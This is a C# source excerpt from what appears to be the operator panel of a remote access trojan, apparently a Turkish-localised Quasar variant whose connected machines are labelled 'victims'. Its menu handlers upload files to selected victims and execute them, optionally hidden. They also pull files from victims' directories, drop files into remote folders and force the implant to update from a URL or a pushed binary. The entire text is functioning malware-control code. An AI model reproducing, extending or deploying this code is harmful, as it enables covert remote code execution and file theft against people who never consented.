private void localFileToolStripMenuItem_Click(object sender, EventArgs e) { if (Kurbanlar.SelectedItems.Count != 0) { using (var frm = new FrmYükleÇalıştır(Kurbanlar.SelectedItems.Count)) { if ((frm.ShowDialog() == DialogResult.OK) && File.Exists(YükleÇalıştır.FilePath)) { new Thread(() => { bool error = false; foreach (Client c in GetSelectedClients()) { if (c == null) { continue; } if (error) { continue; } FileSplit srcFile = new FileSplit(YükleÇalıştır.FilePath); if (srcFile.MaxBlocks < 0) { MessageBox.Show(string.Format("Dosya Okuma Hatası: {0}", srcFile.LastError), "Yükleme İptal Edildi", MessageBoxButtons.OK, MessageBoxIcon.Warning); error = true; break; } int id = DosyaYardımcısı.GetNewTransferId(); Eylemİşleyicisi.HandleSetStatus(c, new KuuhakuCekirdek.Paketler.ClientPaketleri.SetStatus("Dosya Yükleniyor...")); for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) { byte[] block; if (srcFile.ReadBlock(currentBlock, out block)) { new KuuhakuCekirdek.Paketler.ServerPaketleri.DoUploadAndExecute(id, Path.GetFileName(YükleÇalıştır.FilePath), block, srcFile.MaxBlocks, currentBlock, YükleÇalıştır.RunHidden).Execute(c); } else { MessageBox.Show(string.Format("Dosya Okuma Hatası: {0}", srcFile.LastError), "Yükleme İptal Edildi", MessageBoxButtons.OK, MessageBoxIcon.Warning); error = true; break; } } } }).Start(); } } } }
private void downloadToolStripMenuItem_Click(object sender, EventArgs e) { foreach (ListViewItem files in lstDirectory.SelectedItems) { DizinTürleri type = (DizinTürleri)files.Tag; if (type == DizinTürleri.Dosya) { string path = GetAbsolutePath(files.SubItems[0].Text); int id = DosyaYardımcısı.GetNewTransferId(files.Index); if (_connectClient != null) { new KuuhakuCekirdek.Paketler.ServerPaketleri.DoDownloadFile(path, id).Execute(_connectClient); AddTransfer(id, "İndir", "Bekleniyor...", files.SubItems[0].Text); } } } }
private void lstDirectory_DragDrop(object sender, DragEventArgs e) { if (e.Data.GetDataPresent(DataFormats.FileDrop)) { string[] files = (string[])e.Data.GetData(DataFormats.FileDrop); var remoteDir = _currentDir; foreach (string filePath in files) { if (!File.Exists(filePath)) { continue; } string path = filePath; new Thread(() => { int id = DosyaYardımcısı.GetNewTransferId(); if (string.IsNullOrEmpty(path)) { return; } AddTransfer(id, "Upload", "Pending...", Path.GetFileName(path)); int index = GetTransferIndex(id); if (index < 0) { return; } FileSplit srcFile = new FileSplit(path); if (srcFile.MaxBlocks < 0) { UpdateTransferStatus(index, "Dosya Okuma Hatası", 0); return; } string remotePath = Path.Combine(remoteDir, Path.GetFileName(path)); if (string.IsNullOrEmpty(remotePath)) { return; } _limitThreads.WaitOne(); for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) { if (_connectClient.Value == null || _connectClient.Value.FrmFm == null) { _limitThreads.Release(); return; } if (CanceledUploads.ContainsKey(id)) { UpdateTransferStatus(index, "İptal Edildi", 0); _limitThreads.Release(); return; } index = GetTransferIndex(id); if (index < 0) { _limitThreads.Release(); return; } decimal progress = Math.Round((decimal)((double)(currentBlock + 1) / (double)srcFile.MaxBlocks * 100.0), 2); UpdateTransferStatus(index, string.Format("Yükleniyor...({0}%)", progress), -1); byte[] block; if (srcFile.ReadBlock(currentBlock, out block)) { new KuuhakuCekirdek.Paketler.ServerPaketleri.DoUploadFile(id, remotePath, block, srcFile.MaxBlocks, currentBlock).Execute(_connectClient); } else { UpdateTransferStatus(index, "Dosya Okuma Hatası", 0); _limitThreads.Release(); return; } } _limitThreads.Release(); if (remoteDir == _currentDir) { RefreshDirectory(); } UpdateTransferStatus(index, "Tamamlandı", 1); }).Start(); } } }
private void uploadToolStripMenuItem_Click(object sender, EventArgs e) { using (var ofd = new OpenFileDialog()) { ofd.Title = "Yüklenicek dosyaları seçiniz"; ofd.Filter = "Bütün Dosyalar (*.*)|*.*"; ofd.Multiselect = true; if (ofd.ShowDialog() == DialogResult.OK) { var remoteDir = _currentDir; foreach (var filePath in ofd.FileNames) { if (!File.Exists(filePath)) { continue; } string path = filePath; new Thread(() => { int id = DosyaYardımcısı.GetNewTransferId(); if (string.IsNullOrEmpty(path)) { return; } AddTransfer(id, "Upload", "Pending...", Path.GetFileName(path)); int index = GetTransferIndex(id); if (index < 0) { return; } FileSplit srcFile = new FileSplit(path); if (srcFile.MaxBlocks < 0) { UpdateTransferStatus(index, "Dosya Okuma Hatası", 0); return; } string remotePath = Path.Combine(remoteDir, Path.GetFileName(path)); if (string.IsNullOrEmpty(remotePath)) { return; } _limitThreads.WaitOne(); for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) { if (_connectClient.Value == null || _connectClient.Value.FrmFm == null) { _limitThreads.Release(); return; } if (CanceledUploads.ContainsKey(id)) { UpdateTransferStatus(index, "İptal Edildi", 0); _limitThreads.Release(); return; } index = GetTransferIndex(id); if (index < 0) { _limitThreads.Release(); return; } decimal progress = Math.Round((decimal)((double)(currentBlock + 1) / (double)srcFile.MaxBlocks * 100.0), 2); UpdateTransferStatus(index, string.Format("Yükleniyor...({0}%)", progress), -1); byte[] block; if (srcFile.ReadBlock(currentBlock, out block)) { new KuuhakuCekirdek.Paketler.ServerPaketleri.DoUploadFile(id, remotePath, block, srcFile.MaxBlocks, currentBlock).Execute(_connectClient); } else { UpdateTransferStatus(index, "Dosya Okuma Hatası", 0); _limitThreads.Release(); return; } } _limitThreads.Release(); if (remoteDir == _currentDir) { RefreshDirectory(); } UpdateTransferStatus(index, "Tamamlandı", 1); }).Start(); } } } }
private void updateToolStripMenuItem_Click(object sender, EventArgs e) { if (Kurbanlar.SelectedItems.Count != 0) { using (var frm = new FrmGüncelle(Kurbanlar.SelectedItems.Count)) { if (frm.ShowDialog() == DialogResult.OK) { if (KuuhakuCekirdek.Veri.Update.İndirU) { foreach (Client c in GetSelectedClients()) { new KuuhakuCekirdek.Paketler.ServerPaketleri.DoClientUpdate(0, KuuhakuCekirdek.Veri.Update.İndirmeURLsi, string.Empty, new byte[0x00], 0, 0).Execute(c); } } else { new Thread(() => { bool error = false; foreach (Client c in GetSelectedClients()) { if (c == null) { continue; } if (error) { continue; } FileSplit srcFile = new FileSplit(KuuhakuCekirdek.Veri.Update.YüklemeDizini); if (srcFile.MaxBlocks < 0) { MessageBox.Show(string.Format("Dosya Okuma Hatası: {0}", srcFile.LastError), "Yükleme İptal", MessageBoxButtons.OK, MessageBoxIcon.Warning); error = true; break; } int id = DosyaYardımcısı.GetNewTransferId(); Eylemİşleyicisi.HandleSetStatus(c, new KuuhakuCekirdek.Paketler.ClientPaketleri.SetStatus("Dosya Yükleniyor...")); for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) { byte[] block; if (!srcFile.ReadBlock(currentBlock, out block)) { MessageBox.Show(string.Format("Dosya Okuma Hatası: {0}", srcFile.LastError), "Yükleme İptal", MessageBoxButtons.OK, MessageBoxIcon.Warning); error = true; break; } new KuuhakuCekirdek.Paketler.ServerPaketleri.DoClientUpdate(id, string.Empty, string.Empty, block, srcFile.MaxBlocks, currentBlock).Execute(c); } } }).Start(); } } } } }